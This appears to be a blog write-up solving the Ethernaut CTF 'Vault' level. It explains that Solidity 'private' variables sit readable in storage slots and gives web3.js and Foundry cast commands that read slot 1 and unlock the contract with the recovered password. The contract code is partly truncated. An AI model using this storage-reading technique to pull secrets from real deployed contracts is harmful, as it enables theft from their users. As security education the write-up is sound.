The Ethernaut CTF Solutions | 08 - Vault

The Ethernaut CTF Solutions | 08 - Vault

The Illusion of Privacy: Accessing 'Private' Data on the Blockchain


2 min read


Fairly straightforward here... Let's check the contract.

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;

The hack

It requires an understanding of how storage works in solidity (usage of 32-byte sized slots) and the JSON RPC function eth_getStorageAt.

Storage (Static types)

EVM stores data in 32-byte slots. The first state variable is stored at slot 0. If there are enough bytes left, the next variable is also stored at slot 0, otherwise at slot 1, and so on.

NOTE: Dynamic types like arrays and strings are different and don't work the same way. But this is for another level...

In the Vault contract, locked is a boolean and uses 1 bytes. The slot 0 has 31 bytes of unused storage. password is a bytes32 and uses 32 bytes. Since it doesn't fit in the 31 bytes left in slot 0, it is stored at slot 1.

Reading the storage

The eth_getStorageAt JSON RPC function can be used to read the contract's storage at a given slot.

For instance, to read the contract's storage at slot 1 using web3.js, you can use the following function:

web3.eth.getStorageAt(contractAddress, 1, (err, result) => {

In Foundry, you can make use of cast to achieve the same result:

cast storage <contractAddress> 1 --rpc-url sepolia


Since we know that the password is stored at slot 1, we can read the storage at that slot to find the password and then call the unlock function with the password to complete the level.

In the browser console:

// 1. Read the storage of the contract at slot[1] to find the password:
await web3.eth.getStorageAt(instance, 1);

// 2. Call the unlock function with the password to complete the level:
await contract.unlock("[result from step 2]");

With Foundry using cast:

cast storage <contractAddress> 1 --rpc-url sepolia

Then pass the result to the unlock function:

cast send 0x5E0bc315bDe04a2E24E00335976dC823E6214213 "unlock(bytes32)" "0x412076657279207374726f6e67207365637265742070617373776f7264203a29" --private-key $PRIVATE_KEY --rpc-url sepolia

๐ŸŽ‰ Level completed ๐ŸŽ‰


  • The private keyword means that the data can only be accessed by the contract itself, not that it is hidden from the world.

  • Nothing is private on the blockchain. Everything is public and can be read by anyone.



You can find all the codes, challenges, and their solutions on my GitHub: